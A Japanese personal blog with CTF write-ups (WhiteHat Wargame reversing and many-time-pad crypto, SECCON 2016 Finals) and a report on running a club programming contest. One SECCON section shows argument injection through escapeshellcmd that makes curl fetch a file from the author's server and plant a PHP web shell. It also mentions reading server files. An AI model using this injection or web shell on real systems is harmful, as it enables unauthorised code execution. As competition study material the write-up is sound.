ふるつき

v(*'='*)v かに

WhiteHat WARGAME Writeup

Harekaze で WhiteHat WARGAME に出てました。 Challenge 01 と書いてあったけど本当に 01 かどうかはちょっとわからない。

Harekazeは 140pt で五位。日本勢では1番でした。

私は Crypto001 と Re001 を解いて、45ptを入れました。得点の殆どを st98 さんが入れててすごいなと思いました。

Re001

Faster.jar というファイルが渡されます。実行すると、ランダムな値がコンボボックスに追加されていくアプリケーションでした。次の値を予測して入力し、合ってたら何かしらがあるような感じでした。 jar なのでデコンパイルしたら、FLAGを生成する処理が見つかったのでそこだけ抜き出したらちゃんとフラグになりました。

import java.util.Stack;
class Main {
        Character[] ListChar;
        int[] ListPos;
        Stack<Double> ListRandomNumber;

        public Main() {
        this.ListChar = new Character[] { 'a', '_', 'y', 'l', '_', 'l', 'a', 'T', '_', 'T', '_', 'T', 'e', '_', 'y', 'e', 'r', '_', 'S', '_', '_', 'l', 'r', 'T', 'F', '_', 'Y', '_', 'l', 'e', 'T', 'T', 'T', 'a', 'r', 'T', 'u', 'A', 'o' };
        this.ListPos = new int[] { 11, 7, 14, 13, 26, 22, 4, 34, 15, 37, 3, 31, 19, 27, 23, 6, 18, 25, 30, 24, 17, 12, 9, 38, 28, 8, 0, 16, 21, 10, 32, 36, 33, 20, 5, 35, 2, 29, 1 };
        this.ListRandomNumber = new Stack<Double>();
        }

    public static void main(String[] args) {
        Main a = new Main();
        System.out.println(a.generateFlag());
    }

    public String generateFlag() {
        String flag = "";
        final Character[] tmpListChar = { '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0' };
        final int lenFlag = this.ListChar.length;
        for (int i = 0; i < lenFlag; ++i) {
            tmpListChar[this.ListPos[i]] = this.ListChar[i];
        }
        for (int i = 0; i < lenFlag; ++i) {
            flag = String.valueOf(flag) + tmpListChar[i];
        }
        return flag;
    }
}

Crypto001

ワンタイムパッドだけど何回も暗号化しちゃったという問題でした。渡されるのは↓

0e4f0c054e4a0c034d430c031454034f0106010019071149040b5941466c0d1141100c000859540a0a440f09124b
0b060901000b031540590a4f1a46000a071d44591b1d45414b161c4d4f220154430e080007455a482c54f41f4104
0e094f1d4f1f4f114d451c1f554f084f190702455409094c4b1c165b003b0c184c46010f12455409174546081302
0b0a0e164e4a090d534d59161053120a070a05595a4829491d0059484f3e45004f0208174a003c071545460a0e15
141b0e1d00021a0c465200435553120e0c4e024f1b040c5303360d4f596c0d014e011b174800071c0459460a0e08
13070a444d0b060c015411061b47461b1d0f10000d07100003040f4b00380a545203040b0942111a454f084c150f
21030e0300031c58016f170a2a740f021031344110370c53340b165a7f3c000646030a1a3b521d0f0d54590a0d06

解くのには↓のようなスクリプトを使いました。

import sys

a = open('cipher.txt').read().splitlines()
a = map(lambda x: x.decode('hex'), a)
l = len(a)

k = ""
pk = ""
while True:
    k = pk + str(raw_input(pk))

    for i in range(len(a)):
        r = map(lambda x: ord(x[0])^ ord(x[1]), zip(a[i%l], k))
        r = map(chr, r)
        print("".join(r))
    r = str(raw_input("OK?")).strip()
    if len(r) == 0:
        pk = k

適当に flag と打ってみたら、最後の行が Good になってたのであたりっぽかったので単語を予測していくと鍵は Good job! you found the key. Let find the flag ぽくて、 出てきた平文が

I can calculate the motion of heavenly bodies,
Life always offers you a second chance. It�s c
If you sleep on life all you will have are dre
Learn form yesterday. Live for today. Hope for
Stay hungry, stay foolishStay hungry, stay foo
The main thing that you have to remember on th
flag is: One_Time_Pad_is_not_perfect_right?fla

でした。


Re002 とか解きたかったんですが重たいバイナリを読むのが苦手で負けてしまいました……

部内でプロコンを開いた

 部内でプロコンを開いたので振り返りも兼ねてまとめておく。

開いたのは、 JMC (Joken Marathonc Contest) で、86時間のマラソンマッチ。開こうと思った経緯から準備・開催中までを書く。

できたもの

要するに n2-1パズルとかスライドパズルと言われるようなパズルで、魔方陣を作ろうぜ、という感じのパズル。各行各列と対角線でsumをとって、その分散を0に近づけたい(魔方陣なら0になるはず)、というもの。

 これを組み上げて、とりあえずテストということでkosen14sに投げた。CSRFについて指摘されたので対策しました。

 それで、まあ、Jokenでもアナウンスして、レジだけならそこそこの人数(10人くらい)になりました。

開催

 ptr-yudaiともう一人が最初に遊んでくれました。僕はSlackの通知のためにURLを設定するのを忘れていて、慌ててURLを追加したりしました。

 事前に問題文だけ公開していたのでptr-yudaiはソルバを書いてたらしく、いくらか提出をしてきました。なんか師匠の試算したスコアとサーバの弾き出すスコアが違ったっぽいのですが、とりあえずぼくが間違えていたわけじゃなかったのでそれは安心。

 今回の問題では、最小は 10 * 10 のパズルで、100*100 とか 1000*1000 でやったんですが、 100 * 100 でも十二分に大きくなってしまったのでまあ 1000 * 1000 はいらなかったかなという感じでした。

 その後、ptr-yudaiがいろいろ頑張って値を改善する時間が続きました。四年生が、手で挑戦したりしてくれました。残念なことに、それ以外の人々がまったくといってよいほど参加してくれませんでした。その晩、kyumina が取り組もうとしてましたが、結局挫折したみたいでした。    前日の反省を受けて、翌日は、スコア計算プログラム(C++版)を Slack に流したり、10*10より小さいケースを幾つか追加したりしました。これはそれなりに人気で、最小のケースでptr-yudaiがおよそ最適解と思われる解も叩き出してくれて一時だけ盛り上がりました。

 その日は、お昼過ぎにptr-yudaiを超える提出がありました。僕も楽しくなってきて自分のソルバを試しましたが、それとどっこいくらいでした。その晩は、 kyumina 向けに、「乱択アルゴリズムを使うと楽ですよ」とかきました(僕の実装が乱択やきなましもどきだったので)。僕もビームサーチもどきに初挑戦しましたが、全然だめだったりしました。

 それでだいたいおわり。結果はこんな感じでした。

f:id:Furutsuki:20170222112826p:plain

感想 反省

 レジるだけで参加してくれないひとが多かったので残念だなーと思いました。ハイスコアを狙うなら別ですが、ちょっと自分でソルバを書くだけならそんなに難しい問題ではないとおもったので(何しろ選択肢が殆ど無いので)、頑張ってほしかった。

 こちらとしても、もっとヒントをだしてもよかったな(例えば私のソルバを投げるなど)とか、もっと小さい入力でもよかったなとか、86時間は長いみたいだし24時間とかでもよかったなとか、いろいろ考えさせられました。いい経験担ったと思います。

SECCON 2016 FINALに行ってきた

2017/1/28と2017/1/29にSECCON 2016 FINALに行ってきました。SECCON IoTでの優勝による学生枠での出場でしたが、500ptを獲得した我々insecureは全24チーム中20位、学生8チーム中では4位という悔しい結果に終わりました。500ptのうち300ptはptr-yudaiが獲得し、のこりの200ptは私が獲得したので、そのwrite upを書きます。

CVE-2016-10033

jeopardyのweb問題でした。問題文は <サーバのIP>/FLAGhere とだけ書かれていて、そこにアクセスしようとするとForbiddenと言われました。とりあえず%00を末尾につけてみたり、POSTやPUTでアクセスしてみたりしましたがこれらはハズレでした。 こまったのでowasp-zapに投げると、なにやら/index.htmlというファイルが有ることがわかりました(普通はzapしなくてもわかる)。たいしたhtmlではなくて、コンテンツとしては "under construction" だけでしたが、すごく怪しい があって、href="css-selector.php?set=0"とかしていました。そこでcss-selector.phpにアクセスすると、main.cssとmain-test.cssへのリンクが表示されました。それから少し解析して`?set=0&css=hogePとするとhogeファイルを見られることがわかりました。最初は/etc/passwdとかを見ていたのですが、そんなことをするよりも css-selector.php の中身を見ることが大事でした。css-selector.php はこんな感じでした。

<?php
// by KeigoYAMAZAKI, 2017.01.23-
session_start();
if(! isset($_SESSION['css'])) {
  $_SESSION['css'] = './main.css';
}
if(isset($_GET['css'])) {
  $_SESSION['css'] = $_GET['css'];
}
if($_GET['set'] == '0') {
  header("Content-Type: text/css");
  echo file_get_contents($_SESSION['css']);
} elseif($_GET['menu'] == 'maintenance') {
  ?>
    <form action="?" method="GET">
    <input type="text" name="host" value="127.0.0.1">
    <input type="submit" name="tool" value="nmap">
    <input type="submit" name="tool" value="curl">
    </form>
  <?php
} elseif($_GET['tool'] == 'nmap') {
  $cmd = "/usr/bin/nmap -sV -n -P0 -p22,25,80,443 \"".$_GET['host']."\"";
  $cmd = escapeshellcmd($cmd);
  echo "<plaintext>cd ./writabletmp/; pwd; $cmd\n";
  system("cd ./writabletmp/; pwd; $cmd 2>&1");
} elseif($_GET['tool'] == 'curl') {
  $cmd = "/usr/bin/curl \"http://".$_GET['host']."\"";
  $cmd = escapeshellcmd($cmd);
  echo "<plaintext>cd ./writabletmp/; pwd; $cmd\n";
  system("cd ./writabletmp/; pwd; $cmd 2>&1");
} else {
  ?>
    <li><a href="?css=./main.css">main.css</a>
    <li><a href="?css=./main-test.css">main-test.css</a>
  <?php
}
?>

というわけで?menu=maintenanceとしてアクセスするとnmapかcurlを呼べることがわかりました。ここで詰まっていたのですが、ptr-yudaiにはなしを振ったら、escapeshellcmdでは対のダブルクオーテーションはエスケープされないという脆弱性を見つけ出してきてくれました。これを利用して、 a" -o "/var/www/html/writabletmp/hoge.html とするとcurlしたファイルを保存できるところまでわかったので、自分のサーバに以下のようなtakoyaki.htmlを作って、これにアクセスさせ、takoyaki.phpとして保存させました。

<?php

system($_GET['takoyaki']);

これでコードの実行ができるようになったので、?takoyaki=cat FLAGhere/* みたいな感じにして SECCON{escapeshellcmd_CVE-2016-10033} を得ました。

これだけにものすごい時間を取られて:(

welcome

jeopardyのrev問題でした。バイナリ を渡されて、問題文は

./welcome SECCON{*********}
LFU70EN3M7{WW{6LS}O0037I9VKUMSE{VI2C84ZO9UGW154QEYFLYGHN9C0VVR0V94PMD582Y{XTOIJ1CXTM{CJX8UO8}EIO1{UKR0PSL{{TNHJDCH9GW}F50K}N93_H56E{5M6P45WDOBZDOVM055N6M{2EZD}4L7{4U9V7NK3NV{}{NAAIE4Z5_}YK2TI0H7A5R6SR_2683W9}{NAQV2CPD86JQ3}4G18TPCSQT{5F6PQUWZZ3OYFMSRLPJY1MSP3SO{B13MX6Y}NNEIF30INFV2DUAACZ0IGTW{PPGCIJQYUELA18FUEWLJO6XRNE4RFRLNRI58MQDSG}C5GYZOO64322VTWIP81_8X7B7_TYTSE0O6AOTBIOPQQLTMKXV8TZFBRPBEXU5TVLM0JAH1BI0OHP}QO3CQILQE1YORJXLSXJE4T60_AKCJH05CCFT8LTPV{C3PB8LN8O_R1BNS{WDC6}{IB}3JQO6{}EG_}NP_QTTI070ZDUITGWY3A8VKDIH1AJSNYTX5AUOZ0S2N}Y}B18X2N_9GYFZH5YEW{2KE09_C90O74HFSY9OZB4X2XCUGCRWDSFW7LDSAOYM5HOAP_HLZ1HHYQFV{QYTJNUWW37E1JPA3Q8DXP457EJ4T2}BSV7RT{4JYMPCTJESJM6MP7I9{37LQ1G5ZZ_ETZRCR2TCDAIXWP_P3QT5026YMZCFSDRPT6N2P7}OBDTJWF2SQKQOZ9OTFTX05NIL3MJY64EN_KTBDWUI8RJDO{UWTA}NGWZ8MS2UHC}_MP18DITIWEG0QXERNQ10E4C7HIVFM{EC9K1TG806NG}E494EP5L656ZN_QCZP9GT8F{S_V47G2YSYBEPJ}XL4C8CDXG24URF}FA_EA_HZKLQ0HJXMF_6XTNZJLAGJY6__5OASMJX4Z_WZVSKQS2ENZB_929TR0G2TTSLNSG0{6B64{}9C9T0G4WK2OD06N{0AHI{Q8KII4Z7LOX5WIO2XWZYJNT_VBA1BF0UHE8BEPW4ZSGLY4_WSMVJGUHF82W6SPSW5RJY9{11QBFZSOJ3JXSW2B3Q}3Z}H4W08AJNZK}DQ}}

みたいな感じでした。何度か実行してみると、同じ引数を与えても出力が違うことがあり、ptr-yudaiに聞くと中でtimeを使っている箇所があるとのことでした。言われて中身を覗きましたがよくわからなかったので、radare2とobjdumpとgdbを使って処理を追いかけ、3時間くらいかけてそれっぽいC言語ソースコードにしてみました。

#include <stdio.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char**argv) {
    int d = 0;
    char* s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789";
    int c = 0;
    char*buf;

    c = strlen(argv[1]);
    //while (c < strlen(argv[1])) {
    // a = argv[1][c];
    // esi = a;
    // c++;
    //}


    buf = (char*)malloc(strlen(argv[1]) << 5 + 1);
    c = 0;
    int i = 0;
    char *p;
    time_t t;
    int off;
    while (c < strlen(argv[1])) {
        i = 0;
        while (i <= 15) {
            t = (long)time(NULL);
            off = t % strlen(s);
            buf[d] = s[off];
            d++;
            i++;
        }
        buf[d] = argv[1][c];
        d++;
        i = 0;
        while (i <= 14) {
            t = (long)time(NULL);
            off = t % strlen(s);
            buf[d] = s[off];
            d++;
            i++;
        }
        c++;
    }
    buf[d] = 0;
    puts(buf);
}

しかしこれを実行しても welcome と同じ結果にはなりませんでした。こんな感じになります。

$ ./hoge SECCON{NOT_A_FLAG}
YYYYYYYYYYYYYYYYSYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYEYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYCYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYCYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYOYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYNYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY{YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYNYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYOYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYTYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY_YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYAYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY_YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYFYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYLYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYAYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYGYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY}YYYYYYYYYYYYYYY

このYは実行ごとにIになったりしたのでランダムですが、与えられたwelcomeのようにぐちゃあっとはなりませんでした。しかしこれが却って良くて、あきらかにargv[1]の値が飛び飛びで出力されていることがとても良くわかりました。

そこでYYYY……をaとして a[::16] としたら YSYEYCYCYOYNY{YNYOYTY_YAY_YFYLYAYGY} になり、 a[::16][1::2] すると SECCON{NOT_A_FLAG} とargv[1]が復元できたので、この部分はちゃんと解析できていることを祈って、問題文の出力に対しても同様の操作を行ったところ、 SECCON{WELCOME_TO_SECCON_CTF_2016} が得られました。

writeup以外のこと

数日前から、 サーバからdefense keywordを抜いてくるscriptとか書いてましたが、そんなことをしている場合じゃなかった。defenseどころかattackすらできないで king of the hillではなくてjeopardyをやってしまった。なんかサーバがjavascriptで動的にdefense keywordを配置してるからとかいってseleniumを使うように修正したあの開始後一時間がものすごいもったいない。